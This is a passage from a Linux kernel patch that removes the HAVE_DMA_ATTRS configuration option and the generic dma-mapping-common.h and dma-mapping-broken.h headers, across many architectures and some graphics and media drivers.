 	def_bool y
 
diff --git a/arch/openrisc/include/asm/dma-mapping.h b/arch/openrisc/include/asm/dma-mapping.h
index 413bfcf..1f260bc 100644
--- a/arch/openrisc/include/asm/dma-mapping.h
+++ b/arch/openrisc/include/asm/dma-mapping.h
@@ -42,6 +42,4 @@ static inline int dma_supported(struct device *dev, u64 dma_mask)
 	return dma_mask == DMA_BIT_MASK(32);
 }
 
-#include <asm-generic/dma-mapping-common.h>
-
 #endif	/* __ASM_OPENRISC_DMA_MAPPING_H */
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index bdabfcd..f6fa59e 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -30,7 +30,6 @@ config PARISC
 	select HAVE_DEBUG_STACKOVERFLOW
 	select HAVE_ARCH_AUDITSYSCALL
 	select ARCH_NO_COHERENT_DMA_MMAP
-	select HAVE_DMA_ATTRS
 
 	help
 	  The PA-RISC microprocessor is designed by Hewlett-Packard and used
diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/include/asm/dma-mapping.h
index 4de5186..16e0246 100644
--- a/arch/parisc/include/asm/dma-mapping.h
+++ b/arch/parisc/include/asm/dma-mapping.h
@@ -83,6 +83,4 @@ struct parisc_device;
 void * sba_get_iommu(struct parisc_device *dev);
 #endif
 
-#include <asm-generic/dma-mapping-common.h>
-
 #endif
diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index db49e0d..855e644 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -111,7 +111,6 @@ config PPC
 	select HAVE_ARCH_TRACEHOOK
 	select HAVE_MEMBLOCK
 	select HAVE_MEMBLOCK_NODE_MAP
-	select HAVE_DMA_ATTRS
 	select HAVE_DMA_API_DEBUG
 	select HAVE_OPROFILE
 	select HAVE_DEBUG_KMEMLEAK
diff --git a/arch/powerpc/include/asm/dma-mapping.h b/arch/powerpc/include/asm/dma-mapping.h
index 7f522c0..77816ac 100644
--- a/arch/powerpc/include/asm/dma-mapping.h
+++ b/arch/powerpc/include/asm/dma-mapping.h
@@ -125,8 +125,6 @@ static inline void set_dma_offset(struct device *dev, dma_addr_t off)
 #define HAVE_ARCH_DMA_SET_MASK 1
 extern int dma_set_mask(struct device *dev, u64 dma_mask);
 
-#include <asm-generic/dma-mapping-common.h>
-
 extern int __dma_set_mask(struct device *dev, u64 dma_mask);
 extern u64 __dma_get_required_mask(struct device *dev);
 
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index 3a55f49..919e3f0 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -582,7 +582,6 @@ config QDIO
 
 menuconfig PCI
 	bool "PCI support"
-	select HAVE_DMA_ATTRS
 	select PCI_MSI
 	select IOMMU_SUPPORT
 	help
diff --git a/arch/s390/include/asm/dma-mapping.h b/arch/s390/include/asm/dma-mapping.h
index b3fd54d..e64bfcb 100644
--- a/arch/s390/include/asm/dma-mapping.h
+++ b/arch/s390/include/asm/dma-mapping.h
@@ -23,8 +23,6 @@ static inline void dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 {
 }
 
-#include <asm-generic/dma-mapping-common.h>
-
 static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
 {
 	if (!dev->dma_mask)
diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index d514df7e..9ded138 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -11,7 +11,6 @@ config SUPERH
 	select HAVE_GENERIC_DMA_COHERENT
 	select HAVE_ARCH_TRACEHOOK
 	select HAVE_DMA_API_DEBUG
-	select HAVE_DMA_ATTRS
 	select HAVE_PERF_EVENTS
 	select HAVE_DEBUG_BUGVERBOSE
 	select ARCH_HAVE_CUSTOM_GPIO_H
diff --git a/arch/sh/include/asm/dma-mapping.h b/arch/sh/include/asm/dma-mapping.h
index a3745a3..e11cf0c 100644
--- a/arch/sh/include/asm/dma-mapping.h
+++ b/arch/sh/include/asm/dma-mapping.h
@@ -11,8 +11,6 @@ static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 
 #define DMA_ERROR_CODE 0
 
-#include <asm-generic/dma-mapping-common.h>
-
 void dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 		    enum dma_data_direction dir);
 
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 56442d2..64dc438 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -26,7 +26,6 @@ config SPARC
 	select RTC_CLASS
 	select RTC_DRV_M48T59
 	select RTC_SYSTOHC
-	select HAVE_DMA_ATTRS
 	select HAVE_DMA_API_DEBUG
 	select HAVE_ARCH_JUMP_LABEL if SPARC64
 	select GENERIC_IRQ_SHOW
diff --git a/arch/sparc/include/asm/dma-mapping.h b/arch/sparc/include/asm/dma-mapping.h
index 2777092..1180ae2 100644
--- a/arch/sparc/include/asm/dma-mapping.h
+++ b/arch/sparc/include/asm/dma-mapping.h
@@ -37,6 +37,4 @@ static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 	return dma_ops;
 }
 
-#include <asm-generic/dma-mapping-common.h>
-
 #endif
diff --git a/arch/tile/Kconfig b/arch/tile/Kconfig
index 106c21b..5227501 100644
--- a/arch/tile/Kconfig
+++ b/arch/tile/Kconfig
@@ -5,7 +5,6 @@ config TILE
 	def_bool y
 	select HAVE_PERF_EVENTS
 	select USE_PMC if PERF_EVENTS
-	select HAVE_DMA_ATTRS
 	select HAVE_DMA_API_DEBUG
 	select HAVE_KVM if !TILEGX
 	select GENERIC_FIND_FIRST_BIT
diff --git a/arch/tile/include/asm/dma-mapping.h b/arch/tile/include/asm/dma-mapping.h
index c342736..01ceb4a 100644
--- a/arch/tile/include/asm/dma-mapping.h
+++ b/arch/tile/include/asm/dma-mapping.h
@@ -73,9 +73,6 @@ static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
 }
 
 #define HAVE_ARCH_DMA_SET_MASK 1
-
-#include <asm-generic/dma-mapping-common.h>
-
 int dma_set_mask(struct device *dev, u64 mask);
 
 /*
diff --git a/arch/unicore32/Kconfig b/arch/unicore32/Kconfig
index c9faddc..4a7dc1a 100644
--- a/arch/unicore32/Kconfig
+++ b/arch/unicore32/Kconfig
@@ -4,7 +4,6 @@ config UNICORE32
 	select ARCH_MIGHT_HAVE_PC_SERIO
 	select HAVE_MEMBLOCK
 	select HAVE_GENERIC_DMA_COHERENT
-	select HAVE_DMA_ATTRS
 	select HAVE_KERNEL_GZIP
 	select HAVE_KERNEL_BZIP2
 	select GENERIC_ATOMIC64
diff --git a/arch/unicore32/include/asm/dma-mapping.h b/arch/unicore32/include/asm/dma-mapping.h
index 8140e05..4749854 100644
--- a/arch/unicore32/include/asm/dma-mapping.h
+++ b/arch/unicore32/include/asm/dma-mapping.h
@@ -28,8 +28,6 @@ static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 	return &swiotlb_dma_map_ops;
 }
 
-#include <asm-generic/dma-mapping-common.h>
-
 static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
 {
 	if (dev && dev->dma_mask)
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index db3622f..db6a408 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -96,7 +96,6 @@ config X86
 	select HAVE_DEBUG_KMEMLEAK
 	select HAVE_DEBUG_STACKOVERFLOW
 	select HAVE_DMA_API_DEBUG
-	select HAVE_DMA_ATTRS
 	select HAVE_DMA_CONTIGUOUS
 	select HAVE_DYNAMIC_FTRACE
 	select HAVE_DYNAMIC_FTRACE_WITH_REGS
diff --git a/arch/x86/include/asm/dma-mapping.h b/arch/x86/include/asm/dma-mapping.h
index 953b726..3a27b93 100644
--- a/arch/x86/include/asm/dma-mapping.h
+++ b/arch/x86/include/asm/dma-mapping.h
@@ -46,8 +46,6 @@ bool arch_dma_alloc_attrs(struct device **dev, gfp_t *gfp);
 #define HAVE_ARCH_DMA_SUPPORTED 1
 extern int dma_supported(struct device *hwdev, u64 mask);
 
-#include <asm-generic/dma-mapping-common.h>
-
 extern void *dma_generic_alloc_coherent(struct device *dev, size_t size,
 					dma_addr_t *dma_addr, gfp_t flag,
 					struct dma_attrs *attrs);
diff --git a/arch/xtensa/Kconfig b/arch/xtensa/Kconfig
index 3bd3504..b1f9c4e 100644
--- a/arch/xtensa/Kconfig
+++ b/arch/xtensa/Kconfig
@@ -15,7 +15,6 @@ config XTENSA
 	select GENERIC_PCI_IOMAP
 	select GENERIC_SCHED_CLOCK
 	select HAVE_DMA_API_DEBUG
-	select HAVE_DMA_ATTRS
 	select HAVE_FUNCTION_TRACER
 	select HAVE_IRQ_TIME_ACCOUNTING
 	select HAVE_OPROFILE
diff --git a/arch/xtensa/include/asm/dma-mapping.h b/arch/xtensa/include/asm/dma-mapping.h
index 4427f38..32350e9 100644
--- a/arch/xtensa/include/asm/dma-mapping.h
+++ b/arch/xtensa/include/asm/dma-mapping.h
@@ -30,8 +30,6 @@ static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 		return &xtensa_dma_map_ops;
 }
 
-#include <asm-generic/dma-mapping-common.h>
-
 void dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 		    enum dma_data_direction direction);
 
diff --git a/drivers/gpu/drm/Kconfig b/drivers/gpu/drm/Kconfig
index 1a0a8df..9091fef 100644
--- a/drivers/gpu/drm/Kconfig
+++ b/drivers/gpu/drm/Kconfig
@@ -82,13 +82,13 @@ config DRM_TTM
 
 config DRM_GEM_CMA_HELPER
 	bool
-	depends on DRM && HAVE_DMA_ATTRS
+	depends on DRM
 	help
 	  Choose this if you need the GEM CMA helper functions
 
 config DRM_KMS_CMA_HELPER
 	bool
-	depends on DRM && HAVE_DMA_ATTRS
+	depends on DRM
 	select DRM_GEM_CMA_HELPER
 	select DRM_KMS_FB_HELPER
 	select FB_SYS_FILLRECT
diff --git a/drivers/gpu/drm/imx/Kconfig b/drivers/gpu/drm/imx/Kconfig
index 2b81a41..cda71db 100644
--- a/drivers/gpu/drm/imx/Kconfig
+++ b/drivers/gpu/drm/imx/Kconfig
@@ -5,7 +5,7 @@ config DRM_IMX
 	select VIDEOMODE_HELPERS
 	select DRM_GEM_CMA_HELPER
 	select DRM_KMS_CMA_HELPER
-	depends on DRM && (ARCH_MXC || ARCH_MULTIPLATFORM) && HAVE_DMA_ATTRS
+	depends on DRM && (ARCH_MXC || ARCH_MULTIPLATFORM)
 	depends on IMX_IPUV3_CORE
 	help
 	  enable i.MX graphics support
diff --git a/drivers/gpu/drm/rcar-du/Kconfig b/drivers/gpu/drm/rcar-du/Kconfig
index 11485a4..2324a52 100644
--- a/drivers/gpu/drm/rcar-du/Kconfig
+++ b/drivers/gpu/drm/rcar-du/Kconfig
@@ -1,6 +1,6 @@
 config DRM_RCAR_DU
 	tristate "DRM Support for R-Car Display Unit"
-	depends on DRM && ARM && HAVE_DMA_ATTRS
+	depends on DRM && ARM
 	depends on ARCH_SHMOBILE || COMPILE_TEST
 	select DRM_KMS_HELPER
 	select DRM_KMS_CMA_HELPER
diff --git a/drivers/gpu/drm/shmobile/Kconfig b/drivers/gpu/drm/shmobile/Kconfig
index b9202aa..8d17d00 100644
--- a/drivers/gpu/drm/shmobile/Kconfig
+++ b/drivers/gpu/drm/shmobile/Kconfig
@@ -1,6 +1,6 @@
 config DRM_SHMOBILE
 	tristate "DRM Support for SH Mobile"
-	depends on DRM && ARM && HAVE_DMA_ATTRS
+	depends on DRM && ARM
 	depends on ARCH_SHMOBILE || COMPILE_TEST
 	depends on FB_SH_MOBILE_MERAM || !FB_SH_MOBILE_MERAM
 	select BACKLIGHT_CLASS_DEVICE
diff --git a/drivers/gpu/drm/sti/Kconfig b/drivers/gpu/drm/sti/Kconfig
index fbccc10..20d5f77 100644
--- a/drivers/gpu/drm/sti/Kconfig
+++ b/drivers/gpu/drm/sti/Kconfig
@@ -1,6 +1,6 @@
 config DRM_STI
 	tristate "DRM Support for STMicroelectronics SoC stiH41x Series"
-	depends on DRM && (SOC_STIH415 || SOC_STIH416 || ARCH_MULTIPLATFORM) && HAVE_DMA_ATTRS
+	depends on DRM && (SOC_STIH415 || SOC_STIH416 || ARCH_MULTIPLATFORM)
 	select RESET_CONTROLLER
 	select DRM_KMS_HELPER
 	select DRM_GEM_CMA_HELPER
diff --git a/drivers/gpu/drm/tilcdc/Kconfig b/drivers/gpu/drm/tilcdc/Kconfig
index 78beafb..f60a1ec 100644
--- a/drivers/gpu/drm/tilcdc/Kconfig
+++ b/drivers/gpu/drm/tilcdc/Kconfig
@@ -1,6 +1,6 @@
 config DRM_TILCDC
 	tristate "DRM Support for TI LCDC Display Controller"
-	depends on DRM && OF && ARM && HAVE_DMA_ATTRS
+	depends on DRM && OF && ARM
 	select DRM_KMS_HELPER
 	select DRM_KMS_FB_HELPER
 	select DRM_KMS_CMA_HELPER
diff --git a/drivers/media/platform/Kconfig b/drivers/media/platform/Kconfig
index ccbc974..15431c1 100644
--- a/drivers/media/platform/Kconfig
+++ b/drivers/media/platform/Kconfig
@@ -216,7 +216,6 @@ config VIDEO_STI_BDISP
 	tristate "STMicroelectronics BDISP 2D blitter driver"
 	depends on VIDEO_DEV && VIDEO_V4L2
 	depends on ARCH_STI || COMPILE_TEST
-	depends on HAVE_DMA_ATTRS
 	select VIDEOBUF2_DMA_CONTIG
 	select V4L2_MEM2MEM_DEV
 	help
diff --git a/include/asm-generic/dma-mapping-broken.h b/include/asm-generic/dma-mapping-broken.h
deleted file mode 100644
index 6c32af9..0000000
--- a/include/asm-generic/dma-mapping-broken.h
+++ /dev/null
@@ -1,95 +0,0 @@
-#ifndef _ASM_GENERIC_DMA_MAPPING_H
-#define _ASM_GENERIC_DMA_MAPPING_H
-
-/* define the dma api to allow compilation but not linking of
- * dma dependent code.  Code that depends on the dma-mapping
- * API needs to set 'depends on HAS_DMA' in its Kconfig
- */
-
-struct scatterlist;
-
-extern void *
-dma_alloc_coherent(struct device *dev, size_t size, dma_addr_t *dma_handle,
-		   gfp_t flag);
-
-extern void
-dma_free_coherent(struct device *dev, size_t size, void *cpu_addr,
-		    dma_addr_t dma_handle);
-
-static inline void *dma_alloc_attrs(struct device *dev, size_t size,
-				    dma_addr_t *dma_handle, gfp_t flag,
-				    struct dma_attrs *attrs)
-{
-	/* attrs is not supported and ignored */
-	return dma_alloc_coherent(dev, size, dma_handle, flag);
-}
-
-static inline void dma_free_attrs(struct device *dev, size_t size,
-				  void *cpu_addr, dma_addr_t dma_handle,
-				  struct dma_attrs *attrs)
-{
-	/* attrs is not supported and ignored */
-	dma_free_coherent(dev, size, cpu_addr, dma_handle);
-}
-
-#define dma_alloc_noncoherent(d, s, h, f) dma_alloc_coherent(d, s, h, f)
-#define dma_free_noncoherent(d, s, v, h) dma_free_coherent(d, s, v, h)
-
-extern dma_addr_t
-dma_map_single(struct device *dev, void *ptr, size_t size,
-	       enum dma_data_direction direction);
-
-extern void
-dma_unmap_single(struct device *dev, dma_addr_t dma_addr, size_t size,
-		 enum dma_data_direction direction);
-
-extern int
-dma_map_sg(struct device *dev, struct scatterlist *sg, int nents,
-	   enum dma_data_direction direction);
-
-extern void
-dma_unmap_sg(struct device *dev, struct scatterlist *sg, int nhwentries,
-	     enum dma_data_direction direction);
-
-extern dma_addr_t
-dma_map_page(struct device *dev, struct page *page, unsigned long offset,
-	     size_t size, enum dma_data_direction direction);
-
-extern void
-dma_unmap_page(struct device *dev, dma_addr_t dma_address, size_t size,
-	       enum dma_data_direction direction);
-
-extern void
-dma_sync_single_for_cpu(struct device *dev, dma_addr_t dma_handle, size_t size,
-			enum dma_data_direction direction);
-
-extern void
-dma_sync_single_range_for_cpu(struct device *dev, dma_addr_t dma_handle,
-			      unsigned long offset, size_t size,
-			      enum dma_data_direction direction);
-
-extern void
-dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg, int nelems,
-		    enum dma_data_direction direction);
-
-#define dma_sync_single_for_device dma_sync_single_for_cpu
-#define dma_sync_single_range_for_device dma_sync_single_range_for_cpu
-#define dma_sync_sg_for_device dma_sync_sg_for_cpu
-
-extern int
-dma_mapping_error(struct device *dev, dma_addr_t dma_addr);
-
-extern int
-dma_supported(struct device *dev, u64 mask);
-
-extern int
-dma_set_mask(struct device *dev, u64 mask);
-
-extern int
-dma_get_cache_alignment(void);
-
-extern void
-dma_cache_sync(struct device *dev, void *vaddr, size_t size,
-	       enum dma_data_direction direction);
-
-#endif /* _ASM_GENERIC_DMA_MAPPING_H */
diff --git a/include/asm-generic/dma-mapping-common.h b/include/asm-generic/dma-mapping-common.h
deleted file mode 100644
index b1bc954..0000000
--- a/include/asm-generic/dma-mapping-common.h
+++ /dev/null
@@ -1,358 +0,0 @@
-#ifndef _ASM_GENERIC_DMA_MAPPING_H
-#define _ASM_GENERIC_DMA_MAPPING_H
-
-#include <linux/kmemcheck.h>
-#include <linux/bug.h>
-#include <linux/scatterlist.h>
-#include <linux/dma-debug.h>
-#include <linux/dma-attrs.h>
-#include <asm-generic/dma-coherent.h>
-
-static inline dma_addr_t dma_map_single_attrs(struct device *dev, void *ptr,
-					      size_t size,
-					      enum dma_data_direction dir,
-					      struct dma_attrs *attrs)
-{
-	struct dma_map_ops *ops = get_dma_ops(dev);
-	dma_addr_t addr;
-
-	kmemcheck_mark_initialized(ptr, size);
-	BUG_ON(!valid_dma_direction(dir));
-	addr = ops->map_page(dev, virt_to_page(ptr),
-			     (unsigned long)ptr & ~PAGE_MASK, size,
-			     dir, attrs);
-	debug_dma_map_page(dev, virt_to_page(ptr),
-			   (unsigned long)ptr & ~PAGE_MASK, size,
-			   dir, addr, true);
-	return addr;
-}
-
-static inline void dma_unmap_single_attrs(struct device *dev, dma_addr_t addr,
-					  size_t size,
-					  enum dma_data_direction dir,
-					  struct dma_attrs *attrs)
-{
-	struct dma_map_ops *ops = get_dma_ops(dev);
-
-	BUG_ON(!valid_dma_direction(dir));
-	if (ops->unmap_page)
-		ops->unmap_page(dev, addr, size, dir, attrs);
-	debug_dma_unmap_page(dev, addr, size, dir, true);
-}
-
-/*
- * dma_maps_sg_attrs returns 0 on error and > 0 on success.
- * It should never return a value < 0.
- */
-static inline int dma_map_sg_attrs(struct device *dev, struct scatterlist *sg,
-				   int nents, enum dma_data_direction dir,
-				   struct dma_attrs *attrs)
-{
-	struct dma_map_ops *ops = get_dma_ops(dev);
-	int i, ents;
-	struct scatterlist *s;
-
-	for_each_sg(sg, s, nents, i)
-		kmemcheck_mark_initialized(sg_virt(s), s->length);
-	BUG_ON(!valid_dma_direction(dir));
-	ents = ops->map_sg(dev, sg, nents, dir, attrs);
-	BUG_ON(ents < 0);
-	debug_dma_map_sg(dev, sg, nents, ents, dir);
-
-	return ents;
-}
-
-static inline void dma_unmap_sg_attrs(struct device *dev, struct scatterlist *sg,
-				      int nents, enum dma_data_direction dir,
-				      struct dma_attrs *attrs)
-{
-	struct dma_map_ops *ops = get_dma_ops(dev);
-
-	BUG_ON(!valid_dma_direction(dir));
-	debug_dma_unmap_sg(dev, sg, nents, dir);
-	if (ops->unmap_sg)
-		ops->unmap_sg(dev, sg, nents, dir, attrs);
-}
-
-static inline dma_addr_t dma_map_page(struct device *dev, struct page *page,
-				      size_t offset, size_t size,
-				      enum dma_data_direction dir)
-{
-	struct dma_map_ops *ops = get_dma_ops(dev);
-	dma_addr_t addr;
-
-	kmemcheck_mark_initialized(page_address(page) + offset, size);
-	BUG_ON(!valid_dma_direction(dir));
-	addr = ops->map_page(dev, page, offset, size, dir, NULL);
-	debug_dma_map_page(dev, page, offset, size, dir, addr, false);
-
-	return addr;
-}
-
-static inline void dma_unmap_page(struct device *dev, dma_addr_t addr,
-				  size_t size, enum dma_data_direction dir)
-{
-	struct dma_map_ops *ops = get_dma_ops(dev);
-
-	BUG_ON(!valid_dma_direction(dir));
-	if (ops->unmap_page)
-		ops->unmap_page(dev, addr, size, dir, NULL);
-	debug_dma_unmap_page(dev, addr, size, dir, false);
-}
-
-static inline void dma_sync_single_for_cpu(struct device *dev, dma_addr_t addr,
-					   size_t size,
-					   enum dma_data_direction dir)
-{
-	struct dma_map_ops *ops = get_dma_ops(dev);
-
-	BUG_ON(!valid_dma_direction(dir));
-	if (ops->sync_single_for_cpu)
-		ops->sync_single_for_cpu(dev, addr, size, dir);
-	debug_dma_sync_single_for_cpu(dev, addr, size, dir);
-}
-
-static inline void dma_sync_single_for_device(struct device *dev,
-					      dma_addr_t addr, size_t size,
-					      enum dma_data_direction dir)
-{
-	struct dma_map_ops *ops = get_dma_ops(dev);
-
-	BUG_ON(!valid_dma_direction(dir));
-	if (ops->sync_single_for_device)
-		ops->sync_single_for_device(dev, addr, size, dir);
-	debug_dma_sync_single_for_device(dev, addr, size, dir);
-}
-
-static inline void dma_sync_single_range_for_cpu(struct device *dev,
-						 dma_addr_t addr,
-						 unsigned long offset,
-						 size_t size,
-						 enum dma_data_direction dir)
-{
-	const struct dma_map_ops *ops = get_dma_ops(dev);
-
-	BUG_ON(!valid_dma_direction(dir));
-	if (ops->sync_single_for_cpu)
-		ops->sync_single_for_cpu(dev, addr + offset, size, dir);
-	debug_dma_sync_single_range_for_cpu(dev, addr, offset, size, dir);
-}
-
-static inline void dma_sync_single_range_for_device(struct device *dev,
-						    dma_addr_t addr,
-						    unsigned long offset,
-						    size_t size,
-						    enum dma_data_direction dir)
-{
-	const struct dma_map_ops *ops = get_dma_ops(dev);
-
-	BUG_ON(!valid_dma_direction(dir));
-	if (ops->sync_single_for_device)
-		ops->sync_single_for_device(dev, addr + offset, size, dir);
-	debug_dma_sync_single_range_for_device(dev, addr, offset, size, dir);
-}
-
-static inline void
-dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg,
-		    int nelems, enum dma_data_direction dir)
-{
-	struct dma_map_ops *ops = get_dma_ops(dev);
-
-	BUG_ON(!valid_dma_direction(dir));
-	if (ops->sync_sg_for_cpu)
-		ops->sync_sg_for_cpu(dev, sg, nelems, dir);
-	debug_dma_sync_sg_for_cpu(dev, sg, nelems, dir);
-}
-
-static inline void
-dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
-		       int nelems, enum dma_data_direction dir)
-{
-	struct dma_map_ops *ops = get_dma_ops(dev);
-
-	BUG_ON(!valid_dma_direction(dir));
-	if (ops->sync_sg_for_device)
-		ops->sync_sg_for_device(dev, sg, nelems, dir);
-	debug_dma_sync_sg_for_device(dev, sg, nelems, dir);
-
-}
-
-#define dma_map_single(d, a, s, r) dma_map_single_attrs(d, a, s, r, NULL)
-#define dma_unmap_single(d, a, s, r) dma_unmap_single_attrs(d, a, s, r, NULL)
-#define dma_map_sg(d, s, n, r) dma_map_sg_attrs(d, s, n, r, NULL)
-#define dma_unmap_sg(d, s, n, r) dma_unmap_sg_attrs(d, s, n, r, NULL)
-
-extern int dma_common_mmap(struct device *dev, struct vm_area_struct *vma,
-			   void *cpu_addr, dma_addr_t dma_addr, size_t size);
-
-void *dma_common_contiguous_remap(struct page *page, size_t size,
-			unsigned long vm_flags,
-			pgprot_t prot, const void *caller);
-
-void *dma_common_pages_remap(struct page **pages, size_t size,
-			unsigned long vm_flags, pgprot_t prot,
-			const void *caller);
-void dma_common_free_remap(void *cpu_addr, size_t size, unsigned long vm_flags);
-
-/**
- * dma_mmap_attrs - map a coherent DMA allocation into user space
- * @dev: valid struct device pointer, or NULL for ISA and EISA-like devices
- * @vma: vm_area_struct describing requested user mapping
- * @cpu_addr: kernel CPU-view address returned from dma_alloc_attrs
- * @handle: device-view address returned from dma_alloc_attrs
- * @size: size of memory originally requested in dma_alloc_attrs
- * @attrs: attributes of mapping properties requested in dma_alloc_attrs
- *
- * Map a coherent DMA buffer previously allocated by dma_alloc_attrs
- * into user space.  The coherent DMA buffer must not be freed by the
- * driver until the user space mapping has been released.
- */
-static inline int
-dma_mmap_attrs(struct device *dev, struct vm_area_struct *vma, void *cpu_addr,
-	       dma_addr_t dma_addr, size_t size, struct dma_attrs *attrs)
-{
-	struct dma_map_ops *ops = get_dma_ops(dev);
-	BUG_ON(!ops);
-	if (ops->mmap)
-		return ops->mmap(dev, vma, cpu_addr, dma_addr, size, attrs);
-	return dma_common_mmap(dev, vma, cpu_addr, dma_addr, size);
-}
-
-#define dma_mmap_coherent(d, v, c, h, s) dma_mmap_attrs(d, v, c, h, s, NULL)
-
-int
-dma_common_get_sgtable(struct device *dev, struct sg_table *sgt,
-		       void *cpu_addr, dma_addr_t dma_addr, size_t size);
-
-static inline int
-dma_get_sgtable_attrs(struct device *dev, struct sg_table *sgt, void *cpu_addr,
-		      dma_addr_t dma_addr, size_t size, struct dma_attrs *attrs)
-{
-	struct dma_map_ops *ops = get_dma_ops(dev);
-	BUG_ON(!ops);
-	if (ops->get_sgtable)
-		return ops->get_sgtable(dev, sgt, cpu_addr, dma_addr, size,
-					attrs);
-	return dma_common_get_sgtable(dev, sgt, cpu_addr, dma_addr, size);
-}
-
-#define dma_get_sgtable(d, t, v, h, s) dma_get_sgtable_attrs(d, t, v, h, s, NULL)
-
-#ifndef arch_dma_alloc_attrs
-#define arch_dma_alloc_attrs(dev, flag)	(true)
-#endif
-
-static inline void *dma_alloc_attrs(struct device *dev, size_t size,
-				       dma_addr_t *dma_handle, gfp_t flag,
-				       struct dma_attrs *attrs)
-{
-	struct dma_map_ops *ops = get_dma_ops(dev);
-	void *cpu_addr;
-
-	BUG_ON(!ops);
-
-	if (dma_alloc_from_coherent(dev, size, dma_handle, &cpu_addr))
-		return cpu_addr;
-
-	if (!arch_dma_alloc_attrs(&dev, &flag))
-		return NULL;
-	if (!ops->alloc)
-		return NULL;
-
-	cpu_addr = ops->alloc(dev, size, dma_handle, flag, attrs);
-	debug_dma_alloc_coherent(dev, size, *dma_handle, cpu_addr);
-	return cpu_addr;
-}
-
-static inline void dma_free_attrs(struct device *dev, size_t size,
-				     void *cpu_addr, dma_addr_t dma_handle,
-				     struct dma_attrs *attrs)
-{
-	struct dma_map_ops *ops = get_dma_ops(dev);
-
-	BUG_ON(!ops);
-	WARN_ON(irqs_disabled());
-
-	if (dma_release_from_coherent(dev, get_order(size), cpu_addr))
-		return;
-
-	if (!ops->free)
-		return;
-
-	debug_dma_free_coherent(dev, size, cpu_addr, dma_handle);
-	ops->free(dev, size, cpu_addr, dma_handle, attrs);
-}
-
-static inline void *dma_alloc_coherent(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t flag)
-{
-	return dma_alloc_attrs(dev, size, dma_handle, flag, NULL);
-}
-
-static inline void dma_free_coherent(struct device *dev, size_t size,
-		void *cpu_addr, dma_addr_t dma_handle)
-{
-	return dma_free_attrs(dev, size, cpu_addr, dma_handle, NULL);
-}
-
-static inline void *dma_alloc_noncoherent(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t gfp)
-{
-	DEFINE_DMA_ATTRS(attrs);
-
-	dma_set_attr(DMA_ATTR_NON_CONSISTENT, &attrs);
-	return dma_alloc_attrs(dev, size, dma_handle, gfp, &attrs);
-}
-
-static inline void dma_free_noncoherent(struct device *dev, size_t size,
-		void *cpu_addr, dma_addr_t dma_handle)
-{
-	DEFINE_DMA_ATTRS(attrs);
-
-	dma_set_attr(DMA_ATTR_NON_CONSISTENT, &attrs);
-	dma_free_attrs(dev, size, cpu_addr, dma_handle, &attrs);
-}
-
-static inline int dma_mapping_error(struct device *dev, dma_addr_t dma_addr)
-{
-	debug_dma_mapping_error(dev, dma_addr);
-
-	if (get_dma_ops(dev)->mapping_error)
-		return get_dma_ops(dev)->mapping_error(dev, dma_addr);
-
-#ifdef DMA_ERROR_CODE
-	return dma_addr == DMA_ERROR_CODE;
-#else
-	return 0;
-#endif
-}
-
-#ifndef HAVE_ARCH_DMA_SUPPORTED
-static inline int dma_supported(struct device *dev, u64 mask)
-{
-	struct dma_map_ops *ops = get_dma_ops(dev);
-
-	if (!ops)
-		return 0;
-	if (!ops->dma_supported)
-		return 1;
-	return ops->dma_supported(dev, mask);
-}
-#endif
-
-#ifndef HAVE_ARCH_DMA_SET_MASK
-static inline int dma_set_mask(struct device *dev, u64 mask)
-{
-	struct dma_map_ops *ops = get_dma_ops(dev);
-
-	if (ops->set_dma_mask)
-		return ops->set_dma_mask(dev, mask);
-
-	if (!dev->dma_mask || !dma_supported(dev, mask))
-		return -EIO;
-	*dev->dma_mask = mask;
-	return 0;
-}
-#endif
-
-#endif
diff --git a/include/linux/dma-attrs.h b/include/linux/dma-attrs.h
index c8e1831..99c0be0 100644
--- a/include/linux/dma-attrs.h
+++ b/include/linux/dma-attrs.h
@@ -41,7 +41,6 @@ static inline void init_dma_attrs(struct dma_attrs *attrs)
 	bitmap_zero(attrs->flags, __DMA_ATTRS_LONGS);
 }
 
-#ifdef CONFIG_HAVE_DMA_ATTRS
 /**
  * dma_set_attr - set a specific attribute
  * @attr: attribute to set
@@ -67,14 +66,5 @@ static inline int dma_get_attr(enum dma_attr attr, struct dma_attrs *attrs)
 	BUG_ON(attr >= DMA_ATTR_MAX);
 	return test_bit(attr, attrs->flags);
 }
-#else /* !CONFIG_HAVE_DMA_ATTRS */
-static inline void dma_set_attr(enum dma_attr attr, struct dma_attrs *attrs)
-{
-}
 
-static inline int dma_get_attr(enum dma_attr attr, struct dma_attrs *attrs)
-{
-	return 0;
-}
-#endif /* CONFIG_HAVE_DMA_ATTRS */
 #endif /* _DMA_ATTR_H */
diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index 2e551e2..cc0517b 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -6,8 +6,12 @@
 #include <linux/device.h>
 #include <linux/err.h>
